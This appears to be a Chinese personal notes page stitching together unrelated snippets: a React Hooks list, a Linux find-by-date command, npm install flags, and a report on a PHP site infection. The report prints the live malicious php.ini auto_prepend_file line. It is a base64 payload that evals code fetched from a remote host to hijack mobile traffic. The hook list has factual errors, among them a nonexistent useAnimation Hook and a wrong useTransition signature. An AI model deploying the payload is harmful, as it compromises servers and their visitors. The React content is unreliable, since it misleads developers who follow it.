2024年5月

React 提供了一系列的 Hook,允许你在函数组件中使用状态和其他 React 特性,而无需编写类组件。以下是一些常用的 React Hook:

  1. useState:用于在函数组件中添加状态。它让你能够拥有可变状态和副作用。

    const [state, setState] = useState(initialState);
  2. useEffect:用于在函数组件中执行副作用操作。它可以模拟生命周期方法,如 componentDidMountcomponentDidUpdatecomponentWillUnmount

    useEffect(() => {
      // 副作用逻辑
      return () => {
        // 可选的清理逻辑
      };
    }, dependencies); // 依赖数组
  3. useContext:允许你订阅 context,这样在组件树渲染时,任何 context 的变化都可以被组件感知到。

    const contextValue = useContext(MyContext);
  4. useReducer:当你需要更复杂的状态逻辑时,可以使用 useReducer 来代替 useState。它接收一个 reducer 函数和初始状态,并返回当前状态和一个 dispatch 函数。

    const [state, dispatch] = useReducer(reducer, initialState);
  5. useMemo:用于执行记忆化的计算。只有当依赖项变化时,才会重新计算。

    const memoizedValue = useMemo(() => expensiveComputation(a, b), [a, b]);
  6. useCallback:返回一个 memoized 的回调函数,只有当依赖项变化时,回调函数才会更新。

    const memoizedCallback = useCallback(() => {
      // 回调逻辑
    }, [dependency1, dependency2]);
  7. useRef:创建一个可变的 ref 对象,其 .current 属性被保留在组件的整个生命周期中。

    const refContainer = useRef(initialValue);
  8. useImperativeHandle:当你使用 forwardRef 将 ref 传递到可转发的组件时,你可以使用 useImperativeHandle 来自定义暴露给父组件的 ref 对象。

    useImperativeHandle(ref, () => ({
      // 暴露给父组件的 API
    }));
  9. useLayoutEffect:与 useEffect 类似,但它会在所有的 DOM 变更之后同步触发。这对于需要在浏览器绘制前执行的 DOM 读取操作是必要的。

    useLayoutEffect(() => {
      // 副作用逻辑
    }, dependencies);
  10. useDebugValue:这个 Hook 可以在 React 开发者工具中显示标签,帮助你调试 Hook。

    useDebugValue(value);
  11. useTransition:用于控制状态变化时的性能优化,它可以延迟状态更新引起的渲染。

    const [startTransition, isPending] = useTransition({
      timeoutMs: 3000,
    });
  12. useDeferredValue:允许你在异步渲染期间使用之前渲染的值,而不是等待当前渲染的值。

    const deferredValue = useDeferredValue(value, { timeoutMs: 3000 });
  13. useId:创建一个唯一的 ID,可以用于 DOM 元素的属性。

    const id = useId();
  14. useInsertionEffect:与 useEffect 类似,但它会在组件插入到 DOM 后触发,而不是在每次渲染后。

    useInsertionEffect(() => {
      // 副作用逻辑
    }, dependencies);
  15. useAnimation:用于动画化值,它提供了一个声明式 API 来控制动画。

    const [animatedValue, setAnimatedValue] = useAnimation();

这些 Hook 使得函数组件可以处理原本需要类组件来实现的复杂交互和状态逻辑。通过组合使用这些 Hook,你可以构建功能丰富且高效的组件。

linux查找文件夹中全部特定日期的文件

在Linux中,你可以使用find命令结合-newermt和-not -newermt测试来查找特定日期的文件。这里是一个例子,假设你想找到在特定日期2023-04-01创建或修改的所有文件:

find /path/to/folder -newermt '2023-04-01' ! -newermt '2023-04-02'

这个命令会找出在2023-04-01当天创建或修改的所有文件,但不包括2023-04-02之前的文件。

解释:

/path/to/folder 是你想要搜索的目标文件夹路径。

-newermt '2023-04-01' 查找修改时间在给定日期之后的文件。

! -newermt '2023-04-02' 排除在给定日期之后的文件,这里是2023-04-02,从而只保留在2023-04-01当天的文件。

确保你的find命令支持-newermt参数。如果不支持,你可能需要使用-newer和-mtime参数的组合来实现类似的功能。

可能由于package.json中使用的依赖不兼容,导致的
npm i --force
或npm i --legacy-peer-deps

但是因为这是强制或者忽略安装的,可能会导致项目在运行时会出现问题

网站全部php页面顶部莫名其妙被加上了以下图片内容(红框部分),但是源码中却没有问题,该内容会导致移动端显示被劫持到sq网站

微信图片_20240508155929.png

最后排查发现是php配置文件php.ini中的auto_prepend_file =部分被添加了病毒内容,内容如下:

auto_prepend_file = "data:;base64,PD9waHAgaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAib2ZmIik7ZXZhbCgnPz4nLmZpbGVfZ2V0X2NvbnRlbnRzKGJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92THpndWFuTmpNakF5TkRRdVkyOXRPamd4TDJwell5OXFjMk11ZEhoMCcpKSk7Pz4="

该部分的内容的base64解析为以下内容:

微信图片_20240508160600.jpg

微信图片_20240508160605.jpg

可以看出解析后的内容使网站转向了一个sq网站,删除该内容问题解决;

但是未解决的是php.ini文件是如何被更改的,暂时还不清楚